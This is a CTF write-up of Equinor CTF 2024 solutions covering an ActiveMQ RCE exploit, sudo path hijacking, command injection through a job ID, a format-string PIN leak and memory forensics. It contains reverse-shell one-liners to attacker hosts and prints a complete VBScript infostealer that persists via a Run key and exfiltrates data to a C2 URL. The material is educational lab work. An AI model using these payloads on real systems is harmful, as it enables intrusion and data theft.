Home Equinor CTF 2024
Post
Cancel

Equinor CTF 2024

The 2nd of November EPT hosted Equinor CTF 2024 onsite in Oslo. It was a jeopardy ctf with an added Boot2Root/RealWorld category where the goal was to root the challenge-machines, with some of them being based on real vulnerabilities they’ve found. This writeup is for the challenges I solved during the ctf.

Boot2root/Realworld

Prime Time (user)

Challenge

We are given the IP of a machine, and start with a nmap scan to identify which ports are open.

1
2
3
4
5
6
7
8
9
10
11
$ nmap -T 5 -p- 10.128.2.125 -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-03 00:16 CET
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 7.4 (protocol 2.0)
1883/tcp  open  mqtt
5672/tcp  open  amqp?
8161/tcp  open  http       Jetty 9.2.22.v20170606
39959/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
61614/tcp open  http       Jetty 9.2.22.v20170606
61616/tcp open  apachemq   ActiveMQ OpenWire transport

Port 8161 leads to an ActiveMQ website, which has links to /admin and /demo. The demo-endpoint gives a 404, while the admin-endpoint prompts us for login credentials. ActiveMQ-website

The default credentials for ActiveMQ is admin:admin, and we can login as admin, however other than revealing that the ActiveMQ version is 5.15.3 this path does not lead to anything. ActiveMQ-admin

This version of ActiveMQ has a deserialization vulnerability, CVE-2023-46604, which gives attackers remote code execution. We can use this POC to exploit the vulnerability and get shell on the server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python3 exploit.py -i 10.128.2.125 -si <attacker_ip>
#################################################################################
#  CVE-2023-46604 - Apache ActiveMQ - Remote Code Execution - Pseudo Shell      #
#  Exploit by Ducksec, Original POC by X1r0z, Python POC by evkl1d              #
#################################################################################

[*] Target: 10.128.2.125:61616
[*] Serving XML at: http://<attacker_ip>:8080/poc.xml
[!] This is a semi-interactive pseudo-shell, you cannot cd, but you can ls-lah / for example.
[*] Type 'exit' to quit

#################################################################################
# Not yet connected, send a command to test connection to host.                 #
# Prompt will change to Apache ActiveMQ$ once at least one response is received #
# Please note this is a one-off connection check, re-run the script if you      #
# want to re-check the connection.                                              #
#################################################################################

[Target not responding!]$ id
uid=998(prime) gid=995(prime) groups=995(prime),0(root) context=system_u:system_r:unconfined_service_t:s0

We get shell as the user prime, which can read the flag from /home/activemq/user.txt.

1
2
Apache ActiveMQ$ cat /home/activemq/user.txt
EPT{d41d8cd98f00b204e9800998ecf8427e}

Prime Time (root)

Challenge

The shell we got from exploiting the ActiveMQ service only gives us a pseudo-shell (which is a bit annoying to use), so we start by adding our ssh public-key to /home/activemq/.ssh/authorized_keys so that we can ssh into the machine.

As the user prime we have some sudo-rights which we are going to exploit to root the machine.

1
2
3
4
5
6
7
8
9
[prime@ip-10-128-2-125 ~]$ sudo -l
Matching Defaults entries for prime on ip-10-128-2-125:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User prime may run the following commands on ip-10-128-2-125:
    (ALL) SETENV: NOPASSWD: /opt/CSCOlumos/rcmds/

We are allowed to set environment variables and run scripts located in /opt/CSCOlumos/rcmds/. Inside this directory there are 88 (!) scripts which we can run.

1
2
[prime@ip-10-128-2-125 ~]$ ls /opt/CSCOlumos/rcmds/ -l | wc -l
88

With this many scripts to analyze for vulnerabilities the easiest method is probably to look at the smaller ones. There are multiple scripts which can be abused to escalate our privileges to root, using the same method(s). I ended up using the hmadmin.sh script to solve the challenge.

1
2
3
4
5
[prime@ip-10-128-2-125 rcmds]$ cat hmadmin.sh
#!/bin/bash
. init.sh

$INSTALL_HOME/bin/hmadmin.sh

It first executes init.sh, which is a script doing a lot of stuff (e.g. set the $INSTALL_HOME environment variable to /opt/CSCOlumos), but most importantly, its path is not absolute. This means that we can be in any directory executing /opt/CSCOlumos/rcmds/hmadmin.sh, and it will search for init.sh in our current working directory. Because we can execute /opt/CSCOlumos/rcmds/hmadmin.sh as root, and that script executes init.sh in our CWD (in this case /dev/shm), we can create an init.sh which gives us a reverse shell.

1
2
3
4
5
6
7
8
[prime@ip-10-128-2-125 shm]$ pwd
/dev/shm
[prime@ip-10-128-2-125 shm]$ ls
init.sh
[prime@ip-10-128-2-125 shm]$ cat init.sh
#!/bin/bash

/bin/bash -c "sh -i >& /dev/tcp/<attacker_ip>/9001 0>&1"

Running the command sudo /opt/CSCOlumos/rcmds/hmadmin.sh and listening on port 9001 with nc -lnvp 9001 then gives us shell as root!

1
2
3
4
5
6
7
8
9
$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [<attacker_ip>] from (UNKNOWN) [10.128.2.125] 34292
sh-4.2# id
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# cat /root/root.txt
cat /root/root.txt
EPT{5b2f8f8681b6621b519ef09adf371174}

Note: During the ctf my exploit looked a little different. I made my own init.sh which basically was empty, created my own bin/hmadmin.sh in CWD which executed the reverse shell, and set the INSTALL_HOME environment variable to CWD to execute my own bin/hmadmin.sh file. This lead to the real hmadmin.sh to search for and execute my bin/hmadmin.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[prime@ip-10-128-2-125 shm]$ pwd
/dev/shm
[prime@ip-10-128-2-125 shm]$ ls
bin  init.sh
[prime@ip-10-128-2-125 shm]$ ls bin
hmadmin.sh
[prime@ip-10-128-2-125 shm]$ cat init.sh
#!/bin/bash

echo "Executed"
[prime@ip-10-128-2-125 shm]$ cat bin/hmadmin.sh
#!/bin/bash

/bin/bash -c "sh -i >& /dev/tcp/<attacker_ip>/9001 0>&1"

Running the command sudo INSTALL_HOME=/dev/shm /opt/CSCOlumos/rcmds/hmadmin.sh gives a reverse shell as root, similar to the other technique.

Bonus: Prime Time (root)

In addition to the path hijack vulnerability to escalate privileges to root, there is an insecure file permission vulnerability as well that can be exploited!

As a reminder, we can run scripts located in /opt/CSCOlumos/rcmds/ as root. Meme

Whoops…

1
2
3
4
5
6
[prime@ip-10-128-3-174 CSCOlumos]$ pwd
/opt/CSCOlumos
[prime@ip-10-128-3-174 CSCOlumos]$ ls -al
total 172
drwxrwxr-x. 60 prime root     4096 Nov  5 06:15 .
drwxr-xr-x.  4 root  root       39 Oct 15 03:42 ..

Apparently, we just own the directory /opt/CSCOlumos/ as the user prime, so we can create a new rcmds directory with any scripts we want inside, and run them as root…

1
2
3
4
5
6
7
8
[prime@ip-10-128-3-174 CSCOlumos]$ pwd
/opt/CSCOlumos
[prime@ip-10-128-3-174 CSCOlumos]$ ls rcmds/
shell.sh
[prime@ip-10-128-3-174 CSCOlumos]$ cat rcmds/shell.sh
#!/bin/bash

/bin/bash -c "sh -i >& /dev/tcp/<attacker_ip>/9001 0>&1"

Running this script gives us a root shell once again.

1
2
3
4
5
6
$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [<attacker_ip>] from (UNKNOWN) [10.128.3.174] 52254
sh-4.2# id
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

OMM API (user)

Challenge

We are given the IP of a machine to exploit, and start by running nmap to discover what ports are open.

1
2
3
4
5
$ nmap -T 5 -sV 10.128.2.126
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-03 01:13 CET
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http-alt uvicorn

As expected from reading the challenge description FastAPI is running on port 8000. We also know that /docs is enabled, which gives us an overview of all the API endpoints. FastAPI-docs

After playing around with all the different API endpoint, two are considered important for now, because they have a LFI vulnerability where we can read files and list directories (basically ls and cat). The two endpoints are /files (list files in directory) and /logfile (read files). To make it easier to query the server for directory-contents and files I wrote a simple python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
from sys import argv

url = "http://10.128.2.126:8000"

if len(argv) != 3:
    print("Invalid args")
    exit()

cmd = argv[1]
obj = argv[2]

if cmd == "ls":
    r = requests.get(url + "/files" + f"?basePath={obj}")
    try:
        res = r.json()
    except:
        print("Error")
        exit()
    directory = res[list(r.json().keys())[0]] # ugly hack
    if isinstance(directory, str):
        print(directory)
        exit()
    for x in directory.get("directories", []):
        print(f"<dir> {x}")
    for x in directory.get("files", []):
        print(f"<file> {x}")

elif cmd == "cat":
    r = requests.get(url + "/logfile" + f"?filepath={obj}")
    print(r.text)
1
2
3
4
5
6
7
$ python3 lfi.py ls /home
<dir> subops
<dir> f_omm_app
<dir> ubuntu

$ python3 lfi.py cat /etc/hostname
ip-10-128-2-126

The flag is located in /home/f_omm_app/user, however this file has to be executed and cannot be read with our LFI. There are also no ssh-keys located on the machine, so we must find a way to either execute commands (RCE) or write files to disk (write our public ssh-key to /home/f_omm_app/.ssh/authorized_keys).

If we list the files in our CWD on the server we can access the FastAPI python code. main.py contains the code for the endpoints.

1
2
3
4
5
6
7
8
9
10
11
$ python3 lfi.py ls .
<dir> __pycache__
<dir> etc
<dir> Models
<dir> Data
<dir> Helpers
<dir> Configurations
<dir> .venv
<file> requirements.txt
<file> main.py
<file> log.py

There is a lot of code to parse through (the main.py file is 535 lines), but most of the endpoints are not relevant for our goal (RCE or writing files to disk). One interesting endpoint is the /restart endpoint, which seems to restart an existing job on the server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
@app.put("/restart")
async def restart_job(job_id: str):
    app_logger.info(f"Attempting to restart job {job_id}")

    job = pbsModule.get_job(job_id)
    if not isinstance(job, Job):
        raise HTTPException(status_code=400, detail=str(job))

    if job.state is not State.FAILED:
        raise HTTPException(status_code=400, detail="Job not available for restart")

    job_dir = job.path
    job_logidr = job.logdir
    job_owner = job.owner

    shotsFile = get_file(job_dir, "shots.ids")
    par_file_json = get_file(job_dir, "par.json")
    pbs_file = get_file(job_dir, "go.pbs")
    run_script = get_file(job_dir, "run_stofwd2rtm3d.csh.sh")

    app_logger.info(f"Renaming logdir: {job_logidr} --> {job_logidr}_{str(job_id)}")
    restart_dir = os.path.join(job_dir, f"job_{job_id}")
    os.makedirs(restart_dir, mode=0o2775)

    if job_logidr:
        shutil.move(job_logidr, restart_dir)
    if shotsFile:
        shutil.copy(shotsFile, restart_dir)
    if par_file_json:
        shutil.copy(par_file_json, restart_dir)

    pbsModule.add_restart_flag(run_script)
    app_logger.info(f"Submitting new job")
    os.chdir(f"{job_dir}")
    try:
        cmd = JobCommandOutput(f"sudo -u {job_owner} /opt/pbs/bin/qsub {pbs_file}")
        out = cmd.get_output()
        job_id = pbsModule.numeric_id(out.strip())
        return {"message": "Job restarted", "path": job.path, "job_id": job_id}
    except RuntimeError as e:
        app_logger.error(f"Error occurred when submitting job. Error={str(e)}")
        raise HTTPException(status_code=500, detail=str(e))

This code can help us achieve RCE through the pbsModule.get_job(job_id) function, which is a function from Helpers/pbsModule.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def get_job(job_id: str) -> "Job":
    """
    Returns a Job object corresponding to a given job id.

    Parameters:
        job_id (str): The id of the job to retrieve.

    Returns:
        Job: The Job object for the given job id.
    """
    cmd = JobCommandOutput(f"/opt/pbs/bin/qstat -xf -F json {job_id}")
    try:
        out = cmd.get_output()
    except RuntimeError as e:
        return str(e)

    job_data = cmd.parse_json(output=out, key="Jobs")

    id = list(job_data.keys())[0]
    data = job_data[id]
    job = Job(job_id=numeric_id(id), job_data=data)

    return job

JobCommandOutput is a class defined in the same pbsModule.py file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class JobCommandOutput:
    """This class represents a command output from a linux command execution."""

    def __init__(self, cmd: str):
        """
        Initiate a JobCommandOutput instance.

        Parameters:
        cmd (str): The command to be executed.
        """
        self.cmd = cmd
        self.output, self.err = self.run_command()

    def run_command(self) -> str:
        """
        Formats the input to valid linux command inputs, executes command(s) sequentaly and return output/error of command.

        Returns:
        str: The output from the command execution.
        """
        def execute(command):
            """
            Executes the command and returns the output.

            Returns:
            str: The output from the command execution.
            """
            parts = shlex.split(command)
            result = run(parts, stdout=PIPE, stderr=PIPE, text=True, timeout=5)
            return result.stdout, result.stderr

        if '`' in self.cmd:
            commands = self.cmd.split('`')
            c1 = commands[0].strip()
            c2 = commands[1].strip()

            c2_out, c2_err = execute(c2)
            if c2_err:
                raise RuntimeError(c2_err)

            c1_out, c1_err = execute(c1 + " " + c2_out)
            return c1_out, c1_err

        else:
            out, err = execute(self.cmd)
            return out, err

The run_command calls execute which splits our command into space-separated list, and calls run() which is from the subprocess library. This leads to the command /opt/pbs/bin/qstat -xf -F json <job_id> being executed. job_id is supplied by us as a string, and is not sanitized or validated. Thus we have to find a way to inject a command which gives us a reverse shell.

To get a reverse shell we want to inject the following command: /bin/bash -c "sh -i >& /dev/tcp/<attacker_ip>/9001 0>&1". Using ;, &&, ||, or $(<command>) to chain our command does not work because of how it is parsed by the backend. However, backticks come to the rescue. In bash, surrounding a command by backticks (useful to nest commands) substitutes the command with its output, which means that it gets executed before any potential errors in the actual command! If we set the job_id to

1
job_id=`/bin/bash -c "sh -i >& /dev/tcp/10.128.1.41/9001 0>&1"`

the command to be executed becomes

1
/opt/pbs/bin/qstat -xf -F json `/bin/bash -c "sh -i >& /dev/tcp/10.128.1.41/9001 0>&1"`

which tries to substitute our reverse shell command with its output before executing, giving us a reverse shell as user f_omm_app. With shell as this user we can run the user file to get the flag.

1
2
3
4
5
6
7
8
$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [<attacker_ip>] from (UNKNOWN) [10.128.2.126] 59480
sh: 0: can't access tty; job control turned off
$ id
uid=1002(f_omm_app) gid=1001(hpc_users_rd) groups=1001(hpc_users_rd)
$ /home/f_omm_app/user
EPT{Y0U_JU57_P0PP3D_7H3_4P1!}

Pwn

Vault

Challenge

In addition to the binary for the program, we are given its source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#define MAX_ITEMS 10
#define PIN_LENGTH 12
#define MAX_ITEM_LENGTH 30
char vaultItems[MAX_ITEMS][50];
int itemCount = 0;

void setPIN(char *pin) {
    FILE *fp;
    unsigned char bytes[5];
    fp = fopen("/dev/urandom", "r");
    if (fp == NULL) {
        perror("Error opening /dev/urandom");
        exit(1);
    }
    if (fread(bytes, 1, 5, fp) != 5) {
        perror("Error reading from /dev/urandom");
        fclose(fp);
        exit(1);
    }
    fclose(fp);
    for (int i = 0; i < 5; i++) {
        sprintf(&pin[i * 2], "%02x", bytes[i]);
    }
    pin[10] = '\0'; // Null terminate the string
    return;
}

bool checkPIN(char *pin) {
    char enteredPIN[PIN_LENGTH];
    printf("Enter your PIN to access the vault: ");
    fgets(enteredPIN, PIN_LENGTH, stdin);
    enteredPIN[strcspn(enteredPIN, "\n")] = '\0';
    if (strcmp(pin, enteredPIN) == 0) {
        return true;
    }
    char output[100];
    sprintf(output, "the pin %s is not correct", enteredPIN);
    printf(output);
    return false;
}

void addItem() {
    if (itemCount >= MAX_ITEMS) {
        printf("Vault is full. Cannot add more items.\n");
        return;
    }
    printf("Enter item to add to the vault: ");
    fgets(vaultItems[itemCount], MAX_ITEM_LENGTH, stdin);
    vaultItems[itemCount][strcspn(vaultItems[itemCount], "\n")] = '\0';
    itemCount++;
    printf("Item added successfully.\n");
}

void removeItem() {
    if (itemCount == 0) {
        printf("Vault is empty. No items to remove.\n");
        return;
    }
    itemCount--;
    printf("Last item removed successfully.\n");
}

void listItems() {
    if (itemCount == 0) {
        printf("Vault is empty.\n");
        return;
    }
    printf("Items in the vault:\n");
    for (int i = 0; i < itemCount; i++) {
        printf("%d. %s\n", i + 1, vaultItems[i]);
    }
}

void readFlag( void ) {
    FILE *file = fopen("/opt/flag", "r");
    if (file == NULL) {
        perror("Error opening file");
        exit(1);
    }
    char flag[50];
    if (fgets(flag, 50, file) == NULL) {
        perror("Error reading flag from file");
        fclose(file);
        exit(1);
    }
    printf("gj! the flag is %s", flag);
    fclose(file);
}

int main( void ) {
    char input[10];
    char pin[PIN_LENGTH];
    int choice;
    bool accessGranted = false;
    ignore_me_init_buffering();
    ignore_me_init_signal();
    setPIN(pin);
    do {
        printf("\n--- Vault Menu ---\n");
        printf("1. Open Vault\n2. Add Item\n3. Remove Item\n4. List Items\n5. Read flag\n6. Exit\n");
        printf("Enter your choice: ");
        fgets(input, 10, stdin);
        choice = atoi(input);

        switch (choice) {
            case 1:
                accessGranted = checkPIN(pin);
                if (accessGranted) {
                    printf("Vault opened successfully.\n");
                }
                break;
            case 2:
                if (accessGranted) addItem();
                else printf("Please open the vault first.\n");
                break;
            case 3:
                if (accessGranted) removeItem();
                else printf("Please open the vault first.\n");
                break;
            case 4:
                if (accessGranted) listItems();
                else printf("Please open the vault first.\n");
                break;
            case 5:
                if (accessGranted) readFlag();
                else printf("Please open the vault first.\n");
                break;
            case 6:
                printf("Exiting program.\n");
                break;
            default:
                printf("Invalid choice. Please try again.\n");
        }
    } while (choice != 6);
    return 0;
}

The program simulates a vault, where we can add, remove, and list items, as well as read the flag. However, to perform any of those operations we need to open the vault, which involves guessing a random 5-byte PIN set each time the program runs.

When we try to open the vault by guessing its PIN this is the function that checks if we have given the correct PIN:

1
2
3
4
5
6
7
8
9
10
11
12
13
bool checkPIN(char *pin) {
    char enteredPIN[PIN_LENGTH];
    printf("Enter your PIN to access the vault: ");
    fgets(enteredPIN, PIN_LENGTH, stdin);
    enteredPIN[strcspn(enteredPIN, "\n")] = '\0';
    if (strcmp(pin, enteredPIN) == 0) {
        return true;
    }
    char output[100];
    sprintf(output, "the pin %s is not correct", enteredPIN);
    printf(output);
    return false;
}

The function has a format string vulnerability in printf(output);, which among other things allow us to read memory from the stack. Because the pin variable (an array of bytes) is stored on the stack in main we should be able to find its memory address using format strings, given that we find the correct offset. With the format specifier %s we should then be able to read what the vaults PIN is (%s prints what is stored at the address at the given offset, contrary to %p which prints the address).

To find the offset to the stack address of pin we can set a breakpoint on the strcmp in checkPIN in GDB. The stack address will be stored in the rdi register.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
RAX  0x7fffffffdeec ◂— '5e8f2673cf'
RBX  0
RCX  7
RDX  0x7fffffffde44 ◂— 0x67666564636261 /* 'abcdefg' */
RDI  0x7fffffffdeec ◂— '5e8f2673cf'
RSI  0x7fffffffde44 ◂— 0x67666564636261 /* 'abcdefg' */
R8   0x5555555560b0 ◂— 0x74000a00203a746c /* 'lt: ' */
R9   0
R10  0x555555556090 ◂— 'Enter your PIN to access the vault: '
R11  0x246
R12  0x7fffffffe018 —▸ 0x7fffffffe2cb ◂— '/home/loevland/ctf/ept/pwn/vault/the-vault/vault'
R13  0x5555555558c0 (main) ◂— endbr64
R14  0x555555557d40 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555300 (__do_global_dtors_aux) ◂— endbr64
R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
RBP  0x7fffffffdec0 —▸ 0x7fffffffdf00 ◂— 1
RSP  0x7fffffffde30 ◂— 0xa /* '\n' */
RIP  0x5555555555a4 (checkPIN+125) ◂— call 0x5555555551e0

─────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────
 ► 0x5555555555a4 <checkPIN+125>    call   strcmp@plt                  <strcmp@plt>
        s1: 0x7fffffffdeec ◂— '5e8f2673cf'
        s2: 0x7fffffffde44 ◂— 0x67666564636261 /* 'abcdefg' */

So we know that the PIN is stored at the address 0x7fffffffdeec (the exact address will change between each run), so now we can use the format string vulnerability to find the offset on the stack where this value is located. We use the format string %X$p, where X is an integer offset, to specify where on the stack we read from.

1
2
3
4
5
6
7
8
9
10
--- Vault Menu ---
1. Open Vault
2. Add Item
3. Remove Item
4. List Items
5. Read flag
6. Exit
Enter your choice: 1
Enter your PIN to access the vault: %7$p %8$p
the pin 0x7fffffffdeec 0x70243725f7fa5780 is not correct

After some trial and error (with numbers 1-6) we see that the address of pin is stored at offset 7. This means that if we use the format string %7$s the program will print the bytes stored at this address, which is the pincode!

1
2
3
4
5
6
7
8
9
10
--- Vault Menu ---
1. Open Vault
2. Add Item
3. Remove Item
4. List Items
5. Read flag
6. Exit
Enter your choice: 1
Enter your PIN to access the vault: %7$s
the pin 5e8f2673cf is not correct

Now that we have leaked the pin we can open the vault and read the flag (note that neither option 2, 3, 4, or 6 is required to get the flag in this challenge).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
--- Vault Menu ---
1. Open Vault
2. Add Item
3. Remove Item
4. List Items
5. Read flag
6. Exit
Enter your choice: 1
Enter your PIN to access the vault: 5e8f2673cf
Vault opened successfully.

--- Vault Menu ---
1. Open Vault
2. Add Item
3. Remove Item
4. List Items
5. Read flag
6. Exit
Enter your choice: 5
gj! the flag is EPT{find_th3_p1n_f1nd_th3_fl4g}

Forensics

Phantom Phish

Challenge

We are given a memory dump to analyze, with the goal of investiagting a phising attack. To get information from the memory dump we use Volatility 3. The outputs showed from volatility will be trimmed down due to information-overload for a writeup.

To get an overview of what processes were running on the machine at the time when the memory dump was taken we run volatility’s windows.pstree module. This will give a tree-view of of the process list, making it easier to determine the parent-child relationships between the processes. Although for this step, the windows.pslist module would also work fine (or alternatively windows.cmdline).

1
2
3
4
5
$ vol3 -f dump.dmp windows.pstree

PID     PPID    ImageFileName   CreateTime      Audit   Cmd
...
7300    1304    notepad.exe     2024-10-17 13:08:33.000000      \Device\HarddiskVolume3\Windows\System32\notepad.exe    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Benjamin\Documents\security email.pdf

Scrolling through the output we see that notepad.exe is running and has opened the file C:\Users\Benjamin\Documents\security email.pdf. Considering this challenge mentions a phishing attack, this file should be investigated further, and either ruled out or not as potentially malicious.

To dump files from memory we can use the module windows.filescan.FileScan and windows.dumpfiles.DumpFiles. We use the FileScan module to get the virtual offset of the file, which we give as an argument to DumpFiles to carve the file out of the memory dump.

1
2
3
4
5
6
7
8
9
10
11
$ vol3 -f dump.dmp windows.filescan.FileScan | grep "\.pdf"

Offset  Name    Size
...
0xc50ce5139980  \Users\Benjamin\Documents\security email.pdf    216
...

$ vol3 -f dump.dmp windows.dumpfiles.DumpFiles --virtaddr 0xc50ce5139980

Cache   FileObject      FileName        Result
DataSectionObject       0xc50ce5139980  security email.pdf      file.0xc50ce5139980.0xc50ce5c1ea70.DataSectionObject.security email.pdf.dat

The PDF file is allegedly a suspicious login attempt warning from Microsoft, with a QR code to scan. PDF File

We can parse the QR code with CyberChef to view its link, which reveals the flag. Flag

Stealth Stealer

Challenge

This challenge uses the same dump as Phantom Phish, and wants us to investigate some malware likely arising from the phishing attempt from that challenge.

The notepad process opened the pdf file around 2024-10-17 13:08:33.000000, so we could be looking for a malware-process close to this timestamp. If we look through the process-list again, this mshta.exe process stands out as it reaching out for a .hta file from a remote server. mshta is a LOLBIN which can be used to download and execute html applications.

1
2
PID     PPID    ImageFileName   CreateTime      Audit   Cmd
5696       10348   mshta.exe       2024-10-17 13:07:14.000000      \Device\HarddiskVolume3\Windows\System32\mshta.exe      "C:\Windows\system32\mshta.exe" http://192.168.88.130/heist.hta

Using windows.filescan.FileScan and windows.dumpfiles.DumpFiles we can dump this heist.hta file from memory. If this had not worked we could also have retrieved the file by dumping the memory of the mshta.exe process, and then carve the hta file out of its memory, but this is a little more tedious.

1
2
3
4
5
6
$ vol3 -f dump.dmp windows.filescan.FileScan | grep "\.hta"

Offset  Name    Size
0xc50ce994a580  \Users\Benjamin\AppData\Local\Microsoft\Windows\INetCache\IE\0RH8WS85\heist[1].hta      216

$ vol3 -f dump.dmp windows.dumpfiles.DumpFiles --virtaddr 0xc50ce994a580

With the hta file dumped, we only need to reverse it to get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<script language="VBScript">
Dim a1, a2, a3, a4, a5, a6, d2
Set a1 = CreateObject("WScript.Shell")
a2 = a1.RegRead(utr("484b4c4d5c534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c50726f647563744e616d65"))
a3 = a1.ExpandEnvironmentStrings(utr("25434f4d50555445524e414d4525"))
a4 = a1.ExpandEnvironmentStrings(utr("25555345524e414d4525"))
a5 = a1.ExpandEnvironmentStrings(utr("2550524f434553534f525f41524348495445435455524525"))
a6 = dsf()
Dim b1, b2, b3
b1 = utr("535556594943684f5a58637454324a715a574e304945356c644335585a574a4462476c6c626e51704c6b5276643235736232466b553352796157356e4b434a6f64485277637a6f764c32686c62476c3463475633644756796332566a636d5630597a49755a5842304c32746c5a58424259324e6c63334e4a5a6b4e76626d356c593352706232354d62334e304c6e427a4d534970")
b2 = utr("484b43555c536f6674776172655c4d6963726f736f66745c57696e646f77735c43757272656e7456657273696f6e5c52756e5c")
b3 = utr("4d6963726f736f6674204564676520496e7465677269747920436865636b6572")
a1.RegWrite b2 & b3, b1, "REG_SZ"
iolo()
Dim dtg
dtg = "5667474c4b0761534c54614e63432368700722594c40275b7f0467687b04220267166e"
d2 = hbr(dtg, &H1337)
dfg a2, a3, a4, a5, a6, d2
Function dsf()
        ' "hopefully I find some wallet keys"
Dim clipboard, ert
Set clipboard = CreateObject("htmlfile")
ert = clipboard.ParentWindow.ClipboardData.GetData(utr("54657874"))
If Len(data) > 0 Then
dsf = data
Else
dsf = utr("4e6f20636c6970626f617264206461746120666f756e64")
End If
End Function
Sub olo(min)
Dim ts
Dim tss
ts = Timer()
tss = 0
Do While tss < (min * 60)
tss = Timer() - ts
If tss < 0 Then tss = tss + 86400
CreateObject("WScript.Shell").AppActivate("shh")
Loop
End Sub
Sub iolo()
olo 5
End Sub
Sub dfg(os, computer, user, arch, clipboard, d2)
Dim xmlhttp, iop, data
data = "os=" & os & "&computer=" & computer & "&user=" & user & "&arch=" & arch & "&clipboard=" & clipboard & "&misc=" & d2
iop = utr("68747470733a2f2f68656c697870657774657273656372657463322e6570742f737465616c65722e706870")
Set xmlhttp = CreateObject(utr("4D53584D4C322E536572766572584D4C48545450"))
xmlhttp.open "POST", iop, False
xmlhttp.setRequestHeader "Content-Type", "application/x-www-form-iopencoded"
xmlhttp.send data
End Sub
Function hbr(juo, xorKey)
Dim i, yka, yty, keyByte
yka = ""
For i = 1 To Len(juo) Step 2
yty = CLng("&H" & Mid(juo, i, 2))
If (i Mod 4) = 1 Then
keyByte = (&H13)
Else
keyByte = (&H37)
End If
yty = yty Xor keyByte
yka = yka & Chr(yty)
Next
hbr = yka
End Function
Function utr(jui)
Dim i, fgg
fgg = ""
For i = 1 To Len(jui) Step 2
fgg = fgg & Chr(CLng("&H" & Mid(jui, i, 2)))
Next
utr = fgg
End Function
</script>

The utr function converts the hex-string argument from hex to string. The hbr function does the same conversion from hex to string, but also xor the bytes with the key 1337. hbr is only used at the following location:

1
2
dtg = "5667474c4b0761534c54614e63432368700722594c40275b7f0467687b04220267166e"
d2 = hbr(dtg, &H1337)

Which results in the flag EPT{X0rd_crypt0_c01n_w4ll3t_h315t!} when decrypted! The actual functionality of this script is to collect computer information from the registry and environment variables, and send it to https://helixpewtersecretc2.ept/stealer.php:

Reversing

Random Flag Generator

Challenge

The challenge provides us with a jar file, RandomFlagGenerator.jar, which we have to reverse.

Loading the file into JDec reveals the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.util.Base64;
import java.util.Random;
import java.util.Base64.Decoder;
import java.util.Base64.Encoder;

public class RandomFlagGenerator {
   public static void main(String[] var0) {
      String var1 = "ATU6Wy9BFBMqCCsXMVQNRT0lRABlGA==";
      String var2 = "Den e brun";
      String var3 = xorString(base64Decode(var1), var2);
      String var4 = generateRandomString(20, var3);
      System.out.println("Random Flag: " + var4);
   }

   public static String generateRandomString(int var0, String var1) {
      String var2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz" + var1;
      Random var3 = new Random();
      StringBuilder var4 = new StringBuilder(var0);

      for(int var5 = 0; var5 < var0; ++var5) {
